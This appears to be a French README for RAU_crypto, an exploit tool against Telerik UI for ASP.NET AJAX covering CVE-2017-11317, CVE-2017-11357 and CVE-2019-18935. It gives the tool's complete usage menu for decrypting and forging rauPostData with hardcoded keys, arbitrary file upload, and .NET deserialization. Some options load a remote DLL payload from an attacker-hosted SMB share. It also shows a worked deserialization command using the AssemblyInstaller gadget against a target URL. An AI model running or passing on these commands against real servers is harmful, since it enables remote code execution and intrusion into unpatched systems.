
Telerik UI for ASP.NET AJAX : exploit de téléversement de fichiers et de désérialisation .NET (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Exploit combiné pour Telerik UI pour ASP.NET AJAX.
Prend désormais en charge le test de la capacité de la cible à récupérer des charges utiles distantes depuis un service SMB hébergé par l'attaquant. Utilisez Burp Collaborator et/ou Responder pour faciliter le test des prérequis nécessaires.
Pour que l'exploitation fonctionne, vous avez généralement besoin d'une version avec des clés codées en dur, ou vous devez connaître la clé, par exemple si vous pouvez divulguer le contenu de web.config. L'exploit permet également de déchiffrer et de chiffrer directement le rauPostData utilisé avec Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome ou pip3 install pycryptodomexMon autre exploit Telerik UI (pour CVE-2017-9248) vous intéressera probablement aussi. Il est disponible ici :
Remarque - les quatre derniers éléments sont terminés mais non publiés.
La vulnérabilité de téléversement de fichiers (CVE-2017-11317) a été découverte par d'autres, je crois que les crédits reviennent à @straight_blast @pwntester @olekmirosh. Peu après son annonce, j'ai rencontré la bibliothèque Telerik au cours de mon travail, j'ai donc étudié la bibliothèque et la vulnérabilité, puis j'ai écrit cet exploit en juillet 2017. J'ai également signalé CVE-2017-11357 pour la référence directe d'objet non sécurisée associée.
La vulnérabilité de désérialisation .NET (CVE-2019-18935) a été découverte par @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Capture d'écran du déchiffrement
Capture d'écran du téléversement
Pour plus de détails sur les charges utiles personnalisées pour la désérialisation .NET, il y a un excellent article de @mwulftange qui a découvert cette vulnérabilité, sur le blog Code White au lien suivant.
Mise à jour - Il existe un exploit alternatif de Caleb Gross @noperator, qui reprend des fonctionnalités de cet exploit, avec un excellent article de blog expliquant tout. Merci également à Caleb pour sa contribution à RAU_Crypto.
Autres liens pertinents.
Exemple de charge utile de désérialisation .NET :
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Pour la DLL en mode mixte, consultez mon autre dépôt github :
Un merci spécial à @irsdl qui a inspiré la fonctionnalité de charge utile personnalisée.
Crédit à @rwincey qui a inspiré la fonctionnalité de DLL distante.